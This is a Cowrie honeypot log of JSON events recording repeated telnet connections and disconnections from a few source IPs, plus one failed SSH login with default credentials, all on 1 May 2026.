{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39648,"dst_ip":"159.203.135.109","dst_port":23,"session":"17ce6d85345c","protocol":"telnet","message":"New connection: 51.161.172.108:39648 (159.203.135.109:23) [session: 17ce6d85345c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.405175Z"}
{"eventid":"cowrie.session.closed","duration":30.751502990722656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.412351Z","src_ip":"51.161.172.108","session":"4a2538f03ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27604579925537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.557715Z","src_ip":"51.161.172.108","session":"2f609400b22d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39684,"dst_ip":"159.203.135.109","dst_port":23,"session":"935bf180d03d","protocol":"telnet","message":"New connection: 51.161.172.108:39684 (159.203.135.109:23) [session: 935bf180d03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.768124Z"}
{"eventid":"cowrie.session.closed","duration":32.01295328140259,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.892416Z","src_ip":"51.161.172.108","session":"596a187b049e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39738,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4cbdde0217","protocol":"telnet","message":"New connection: 51.161.172.108:39738 (159.203.135.109:23) [session: 3c4cbdde0217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.956429Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39748,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b2ea32c916d","protocol":"telnet","message":"New connection: 51.161.172.108:39748 (159.203.135.109:23) [session: 5b2ea32c916d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:01.058494Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39754,"dst_ip":"159.203.135.109","dst_port":23,"session":"9adb72439551","protocol":"telnet","message":"New connection: 51.161.172.108:39754 (159.203.135.109:23) [session: 9adb72439551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:01.228693Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39770,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4229f1663cf","protocol":"telnet","message":"New connection: 51.161.172.108:39770 (159.203.135.109:23) [session: a4229f1663cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:01.253000Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39782,"dst_ip":"159.203.135.109","dst_port":23,"session":"193af5a815b9","protocol":"telnet","message":"New connection: 51.161.172.108:39782 (159.203.135.109:23) [session: 193af5a815b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:01.394135Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39798,"dst_ip":"159.203.135.109","dst_port":23,"session":"9413a534927e","protocol":"telnet","message":"New connection: 51.161.172.108:39798 (159.203.135.109:23) [session: 9413a534927e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:01.447467Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39816,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a472f735e4b","protocol":"telnet","message":"New connection: 51.161.172.108:39816 (159.203.135.109:23) [session: 5a472f735e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:01.731919Z"}
{"eventid":"cowrie.session.closed","duration":31.42874026298523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:01.808597Z","src_ip":"51.161.172.108","session":"9dc50475afd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39810,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa85d6233183","protocol":"telnet","message":"New connection: 51.161.172.108:39810 (159.203.135.109:23) [session: aa85d6233183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:01.818903Z"}
{"eventid":"cowrie.session.closed","duration":31.679561853408813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.029364Z","src_ip":"51.161.172.108","session":"68a8edee7cbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77430272102356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.103525Z","src_ip":"51.161.172.108","session":"3657f8e73530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.640199661254883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.351558Z","src_ip":"51.161.172.108","session":"c90ea1732a6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39834,"dst_ip":"159.203.135.109","dst_port":23,"session":"151fb87d8e37","protocol":"telnet","message":"New connection: 51.161.172.108:39834 (159.203.135.109:23) [session: 151fb87d8e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.369562Z"}
{"eventid":"cowrie.session.closed","duration":31.90580129623413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.410150Z","src_ip":"51.161.172.108","session":"4f758e44f514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39840,"dst_ip":"159.203.135.109","dst_port":23,"session":"691a58d55a4a","protocol":"telnet","message":"New connection: 51.161.172.108:39840 (159.203.135.109:23) [session: 691a58d55a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.415742Z"}
{"eventid":"cowrie.session.closed","duration":31.46417737007141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.448632Z","src_ip":"51.161.172.108","session":"eaa333f01761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39802,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a2560237a1c","protocol":"telnet","message":"New connection: 51.161.172.108:39802 (159.203.135.109:23) [session: 2a2560237a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.477268Z"}
{"eventid":"cowrie.session.closed","duration":30.833367109298706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.488591Z","src_ip":"51.161.172.108","session":"cea8c952cb96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.589538097381592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.507060Z","src_ip":"51.161.172.108","session":"c64b8096af04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08304786682129,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.592790Z","src_ip":"45.10.154.244","session":"cae4ca5aec61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.553621768951416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.895822Z","src_ip":"51.161.172.108","session":"dc8bf7e3292f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39916,"dst_ip":"159.203.135.109","dst_port":23,"session":"925e15b38468","protocol":"telnet","message":"New connection: 51.161.172.108:39916 (159.203.135.109:23) [session: 925e15b38468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:02.949477Z"}
{"eventid":"cowrie.session.closed","duration":31.38625717163086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.031839Z","src_ip":"51.161.172.108","session":"1f2b3de73923","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691837549209595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.061801Z","src_ip":"45.10.154.244","session":"1024ccadace4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39926,"dst_ip":"159.203.135.109","dst_port":23,"session":"13abe43e37a9","protocol":"telnet","message":"New connection: 51.161.172.108:39926 (159.203.135.109:23) [session: 13abe43e37a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.158023Z"}
{"eventid":"cowrie.session.closed","duration":30.638006687164307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.221471Z","src_ip":"51.161.172.108","session":"ff9f99c29c94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.259320974349976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.246605Z","src_ip":"51.161.172.108","session":"2a7284d39f85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39832,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3ad853004c","protocol":"telnet","message":"New connection: 51.161.172.108:39832 (159.203.135.109:23) [session: 0b3ad853004c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.250957Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39960,"dst_ip":"159.203.135.109","dst_port":23,"session":"33e92c659753","protocol":"telnet","message":"New connection: 51.161.172.108:39960 (159.203.135.109:23) [session: 33e92c659753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.344813Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39972,"dst_ip":"159.203.135.109","dst_port":23,"session":"189f3c37f488","protocol":"telnet","message":"New connection: 51.161.172.108:39972 (159.203.135.109:23) [session: 189f3c37f488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.496869Z"}
{"eventid":"cowrie.session.closed","duration":31.404846668243408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.579388Z","src_ip":"51.161.172.108","session":"1e2964c55fb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759938955307007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.612732Z","src_ip":"51.161.172.108","session":"c5b8b6d700e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39994,"dst_ip":"159.203.135.109","dst_port":23,"session":"0271164936f5","protocol":"telnet","message":"New connection: 51.161.172.108:39994 (159.203.135.109:23) [session: 0271164936f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.651444Z"}
{"eventid":"cowrie.session.closed","duration":31.27610492706299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.684700Z","src_ip":"51.161.172.108","session":"d3a4603e76c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135729789733887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.768105Z","src_ip":"51.161.172.108","session":"88382bb27718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.799078464508057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:03.906095Z","src_ip":"51.161.172.108","session":"9bdd305db8d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83348560333252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.012249Z","src_ip":"51.161.172.108","session":"518ac6966542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40052,"dst_ip":"159.203.135.109","dst_port":23,"session":"778b5122538f","protocol":"telnet","message":"New connection: 51.161.172.108:40052 (159.203.135.109:23) [session: 778b5122538f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.043076Z"}
{"eventid":"cowrie.session.closed","duration":31.66438341140747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.127144Z","src_ip":"51.161.172.108","session":"78d349bbe28d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495774507522583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.153264Z","src_ip":"51.161.172.108","session":"9f4e7e55adf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40092,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7f6f3b4c366","protocol":"telnet","message":"New connection: 51.161.172.108:40092 (159.203.135.109:23) [session: c7f6f3b4c366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.186673Z"}
{"eventid":"cowrie.session.closed","duration":30.525830030441284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.235748Z","src_ip":"51.161.172.108","session":"64d848ca39a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634472370147705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.244500Z","src_ip":"51.161.172.108","session":"aaee53c3cab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40068,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2d0e857b8e7","protocol":"telnet","message":"New connection: 51.161.172.108:40068 (159.203.135.109:23) [session: f2d0e857b8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.275821Z"}
{"eventid":"cowrie.session.closed","duration":30.580684661865234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.338962Z","src_ip":"51.161.172.108","session":"c66dd9baa847","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.430565118789673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.360400Z","src_ip":"51.161.172.108","session":"920d21014b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40122,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cf3a304d644","protocol":"telnet","message":"New connection: 51.161.172.108:40122 (159.203.135.109:23) [session: 7cf3a304d644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.532326Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40142,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e6e32a91874","protocol":"telnet","message":"New connection: 51.161.172.108:40142 (159.203.135.109:23) [session: 8e6e32a91874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.592260Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40150,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c9e66d05bf0","protocol":"telnet","message":"New connection: 51.161.172.108:40150 (159.203.135.109:23) [session: 2c9e66d05bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.663472Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40170,"dst_ip":"159.203.135.109","dst_port":23,"session":"9474b4f941c2","protocol":"telnet","message":"New connection: 51.161.172.108:40170 (159.203.135.109:23) [session: 9474b4f941c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:04.860358Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40180,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ae00614002e","protocol":"telnet","message":"New connection: 51.161.172.108:40180 (159.203.135.109:23) [session: 6ae00614002e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.025285Z"}
{"eventid":"cowrie.session.closed","duration":31.708272218704224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.031077Z","src_ip":"51.161.172.108","session":"a1f5dfe8c06b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40204,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dc1d998f920","protocol":"telnet","message":"New connection: 51.161.172.108:40204 (159.203.135.109:23) [session: 2dc1d998f920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.153181Z"}
{"eventid":"cowrie.session.closed","duration":31.146543502807617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.198921Z","src_ip":"45.10.154.244","session":"a03f2666cef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40218,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c30751482ac","protocol":"telnet","message":"New connection: 51.161.172.108:40218 (159.203.135.109:23) [session: 7c30751482ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.253800Z"}
{"eventid":"cowrie.session.closed","duration":30.415282249450684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.267813Z","src_ip":"51.161.172.108","session":"3885f2f2cf13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.410332202911377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.373508Z","src_ip":"51.161.172.108","session":"206056d5b0bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.451261Z","src_ip":"122.168.114.167","session":"43d4dfd5a3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.050806522369385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.470119Z","src_ip":"51.161.172.108","session":"319bdfb2f33b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48024559020996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.491065Z","src_ip":"51.161.172.108","session":"0bb1c193bdb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40240,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c480a9b409f","protocol":"telnet","message":"New connection: 51.161.172.108:40240 (159.203.135.109:23) [session: 1c480a9b409f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.520468Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40220,"dst_ip":"159.203.135.109","dst_port":23,"session":"08c28f204907","protocol":"telnet","message":"New connection: 51.161.172.108:40220 (159.203.135.109:23) [session: 08c28f204907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.544959Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40246,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f6e4821dcc7","protocol":"telnet","message":"New connection: 51.161.172.108:40246 (159.203.135.109:23) [session: 8f6e4821dcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.702353Z"}
{"eventid":"cowrie.session.closed","duration":31.263057708740234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:05.872481Z","src_ip":"51.161.172.108","session":"c56be8f0bb38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.829736709594727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.006774Z","src_ip":"51.161.172.108","session":"083ef4241c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.547943830490112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.012864Z","src_ip":"51.161.172.108","session":"c8d572057e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.61415958404541,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.061513Z","src_ip":"51.161.172.108","session":"1ddddc18ed35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01012396812439,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.088729Z","src_ip":"45.10.154.244","session":"5232dc01c4be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45454692840576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.193796Z","src_ip":"51.161.172.108","session":"497095d462dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926305532455444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.199126Z","src_ip":"51.161.172.108","session":"bb543bbbb1f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74770760536194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.284232Z","src_ip":"51.161.172.108","session":"244d30cc7d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40326,"dst_ip":"159.203.135.109","dst_port":23,"session":"404548b9e912","protocol":"telnet","message":"New connection: 51.161.172.108:40326 (159.203.135.109:23) [session: 404548b9e912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.292506Z"}
{"eventid":"cowrie.session.closed","duration":30.809566974639893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.297641Z","src_ip":"51.161.172.108","session":"d37a404383d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40364,"dst_ip":"159.203.135.109","dst_port":23,"session":"b17b8b52fcb2","protocol":"telnet","message":"New connection: 51.161.172.108:40364 (159.203.135.109:23) [session: b17b8b52fcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.353553Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40380,"dst_ip":"159.203.135.109","dst_port":23,"session":"27b82f4e7025","protocol":"telnet","message":"New connection: 51.161.172.108:40380 (159.203.135.109:23) [session: 27b82f4e7025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.357778Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40416,"dst_ip":"159.203.135.109","dst_port":23,"session":"facbbcb65273","protocol":"telnet","message":"New connection: 51.161.172.108:40416 (159.203.135.109:23) [session: facbbcb65273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.433669Z"}
{"eventid":"cowrie.session.closed","duration":31.348451137542725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.461074Z","src_ip":"51.161.172.108","session":"63d345e526d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40452,"dst_ip":"159.203.135.109","dst_port":23,"session":"4228103cf5bc","protocol":"telnet","message":"New connection: 51.161.172.108:40452 (159.203.135.109:23) [session: 4228103cf5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.552705Z"}
